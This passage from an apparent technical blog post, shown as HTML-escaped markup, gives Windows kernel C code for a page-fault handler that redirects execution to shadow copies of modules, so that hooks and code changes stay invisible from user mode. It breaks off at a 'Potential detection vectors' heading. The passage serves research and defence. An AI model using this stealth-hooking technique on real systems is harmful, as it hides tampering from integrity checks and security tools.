&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="c1"&gt;// Caused by instruction fetch
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Page is present
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SHADOW_MODULE_ENTRY&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetShadowModuleFromRip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;PsGetCurrentProcessId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Switch to fake CS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Handling call to remapped page of module @ %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SHADOW_HOOK_SEG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SHADOW_MODULE_ENTRY&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetShadowModuleFromRip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;PsGetCurrentProcessId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Fixed half instruction failure! %llx %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PUCHAR&lt;/span&gt; &lt;span class="n"&gt;From&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PUCHAR&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleShadow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SIZE_T&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SHADOW_HOOK_SEG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;SHADOW_HOOK_SEG&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="c1"&gt;// Caused by instruction fetch
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Page is not present
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Page is not present
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SHADOW_MODULE_ENTRY&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetShadowModuleFromRip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;PsGetCurrentProcessId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//Log( &amp;#34;Handling paged out memory (%llx)\n&amp;#34;, FaultyPtr );
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PUCHAR&lt;/span&gt; &lt;span class="n"&gt;FaultyAdr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleShadow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;__try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;PageIn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PageIn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;UCHAR&lt;/span&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;FaultyAdr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;__except&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Real exception
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WOW64_SEG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Windows doesnt handle it otherwise...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can detour the shadow module with &lt;code&gt;jmp 0x23:Trampoline&lt;/code&gt; and return back with &lt;code&gt;jmp 0xAA:RetPtr&lt;/code&gt; or change the instructions as you wish. There&amp;rsquo;s absolutely no difference except the fact that you need to make the original page no-execute.&lt;/p&gt;
&lt;p&gt;There we go, hooks/.text modifications that are invisible from user mode when done correctly, without using any hypervisors. We can also use this for other cool things as I mentioned before which I will be talking about in another post.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Potential detection vectors:&lt;/p&gt;
&lt;ul&gt;
